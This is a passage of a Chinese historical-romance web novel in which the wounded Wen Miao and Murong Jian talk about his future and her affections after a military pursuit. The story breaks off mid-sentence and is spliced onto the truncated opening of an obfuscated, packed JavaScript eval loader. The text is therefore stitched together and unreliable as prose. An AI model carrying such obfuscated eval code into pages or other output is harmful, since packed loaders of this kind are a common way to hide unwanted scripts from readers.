将士们苦熬着,箫羽带着人突破重围,杀到了吐谷王城的百里之外。
此次追击,箫羽安然无恙,闻缪却受了伤。
高月燕还在养胎,不方便照看,她便带着香芸前去营中探望。
帐内静悄悄的,闻缪独自处理肩上的伤,膝上的铜盆里有腥红的血水。
他咬着绷布一头,笨拙地处理伤口。
满头大汗弄了半天,一只白皙的手伸出,接过他手里的绷布往伤口处慢慢缠绕。
闻缪抬眸一望,是眉眼寡淡的慕容蒹。
她话音轻飘飘的,慢条斯理给他包扎,“这种事找军医就好了,何必一个人强撑。”
闻缪的态度坦然,经历过这么多的事,也知道她心有所属,坦然放下心中执念,“我是待罪之身,能自己来就自己来吧。”
他倒是有自知之明,慕容蒹一边给他洒止血粉,一边给伤口裹绷布,“有想过以后的打算么?”
高月燕快到出月子的时候了,孩子不能一辈子养在军营里,得上学堂读书写字,像她娘一样接受礼义廉耻的教化。
在慕容蒹的认知里,女孩子最该读书,因为世俗之恶往往在书里有所体现,女孩不用踏入尘世半步,就已经意识到了市侩的险恶。
长长的叹息声,闻缪陷入沉默。
慕容蒹知道他迷茫了,芸芸世界,竟无处可去。
早知今日,何必当初。
良久的沉默寡言,闻缪开口道:“我打算带着她还有孩子回家乡去。”
勉强算个去处,大人可以颠沛流离,总的为孩子着想。
姑娘还小,还不用担心什么,长大了,就得为终身做打算。
“闻哥哥,不是我要成心打击你,你如今也是当爹的人了,做事再不能这么顾头不顾尾的。”
及到这时,闻缪抬眸看了她一眼,慕容蒹坐在他对面,一副心平气和的样子。
“我明白。”他决定带着妻儿回到家乡,去私塾里做个教书先生,一样能养活家人。
至于慕容蒹,遂问,“阿奴,你是真的喜欢上他了么?”
“不然呢?”慕容蒹反问,事到如今,他还是不肯相信。
闻缪愁眉苦脸,觉得心酸
;eval(function(p,a,c,k,e,d){e=function(c){return(c